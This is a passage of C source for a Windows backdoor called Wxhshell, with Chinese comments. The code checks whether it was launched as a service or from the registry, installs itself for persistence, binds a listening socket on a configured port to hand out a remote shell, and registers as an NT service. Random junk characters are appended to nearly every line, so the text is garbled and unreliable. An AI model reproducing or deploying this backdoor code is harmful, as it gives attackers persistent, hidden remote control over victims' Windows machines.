ULONG UniqueProcessId; dw'%1g.113
ULONG InheritedFromUniqueProcessId; ~W!sxM5(*
} PROCESS_BASIC_INFORMATION; R7+k=DI
<UeO+M(
PROCNTQSIP NtQueryInformationProcess; 8eL[,uw
%A?Ym33
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %T!UEl`v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oMcX{v^"
]ZZ7j
HANDLE hProcess; 6X)8vQH
PROCESS_BASIC_INFORMATION pbi; 6:J @
8xlj:5;(w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); amOBUD5Ld`
if(NULL == hInst ) return 0; aHS.U^2
BT>8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bx2E9/S3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cvi+AZ=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LKtr>u
t/pHdxX*C7
if (!NtQueryInformationProcess) return 0; x-Yt@}6mvl
Sw>AgES
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `
Y"Rh[C
if(!hProcess) return 0; (:-=XR9A`
DM"`If%3j
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IYb@@Jzo
s9zdg"c'
CloseHandle(hProcess); I"y=A7Nq
^7V9\Q9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /\(0@To
if(hProcess==NULL) return 0; 3T%WfS+
kL{2az3"c
HMODULE hMod;
&CG3_s<2
char procName[255]; AS'a'x>8>,
unsigned long cbNeeded; 7{2knm^
6uOR0L
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P10`X&
2>_6b>9]
CloseHandle(hProcess); dq[j.Nmq
8!'#B^
if(strstr(procName,"services")) return 1; // 以服务启动 1Hp0,R}
-6aGcPq
return 0; // 注册表启动 1)X%n)2pr
} y/'2WO[
"n=`{~F
// 主模块 w%g@X6
int StartWxhshell(LPSTR lpCmdLine) :OUNZDL
{ ubju uha"
SOCKET wsl; AM#VRRTU
BOOL val=TRUE; y}R{A6X)
int port=0; r*OSEzGUz
struct sockaddr_in door; u yzc"di
'RC(ss1G
if(wscfg.ws_autoins) Install(); A\CtM`
pJ ;J>7Gt
port=atoi(lpCmdLine); x;?4A J{
=hH>]$J[
if(port<=0) port=wscfg.ws_port; ;@Alr?y
BOQ2;@:3
WSADATA data; hbD@B.PD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?54=TA|5`F
h7)^$Hd
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pLE|#58I
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A|,\}9)4X[
door.sin_family = AF_INET; C7dy{:y`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zz'(!h Uy
door.sin_port = htons(port); b'p bf
mqrP0/sN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cZuZfMDM
closesocket(wsl); J^R))R=
return 1; Cg?D<l4
} tKjPLi71
dE7 kd=.o
if(listen(wsl,2) == INVALID_SOCKET) { ^/47*vcN5
closesocket(wsl); hPE#l?H@A
return 1; 2Vxr
} r /63
Wxhshell(wsl);
oJ ~ZzW
WSACleanup(); R]VY
PNns
f ?_YdVZ
return 0; *]nha1!S
.h~M&d!
} 5"u-oE&
8xJdK'
// 以NT服务方式启动 G(~d1%(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Q{)AN;m
{ &W:Wv,3
DWORD status = 0; a,b;H(em
DWORD specificError = 0xfffffff; iJv4%|9
@C62%fU {5
serviceStatus.dwServiceType = SERVICE_WIN32;
T8h.!Vef
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .^>[@w3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <"{Lv)4
serviceStatus.dwWin32ExitCode = 0; H0Qpc<Z4/
serviceStatus.dwServiceSpecificExitCode = 0; zNofI$U
serviceStatus.dwCheckPoint = 0; jz
QmYcd
serviceStatus.dwWaitHint = 0; AR\>P
&Y%Kr`.h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zhY VMQ
if (hServiceStatusHandle==0) return; W?mn8Y;{`
t_6sDr'.
status = GetLastError(); 5\8Ig f>
if (status!=NO_ERROR) &&4av*\I
{ 0kS[`a(}J
serviceStatus.dwCurrentState = SERVICE_STOPPED; GzWmXm
serviceStatus.dwCheckPoint = 0; fIN8::Cs[
serviceStatus.dwWaitHint = 0; Q%KH^<
serviceStatus.dwWin32ExitCode = status; E@^`B9;Q7
serviceStatus.dwServiceSpecificExitCode = specificError; b)9bYkd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Idop!b5!
return; 7r 07N'
} an={h,
Izm8
qt=m
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8fFURk
serviceStatus.dwCheckPoint = 0; )[yM4QFl
serviceStatus.dwWaitHint = 0; dFD0l?0N
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XmXp0b7
} !yU!ta Q
jo{[*]Oa
// 处理NT服务事件,比如:启动、停止 y5B4t6M(
VOID WINAPI NTServiceHandler(DWORD fdwControl) |(N4ZmTm
{ \g< M\3f
switch(fdwControl) ?&EPZq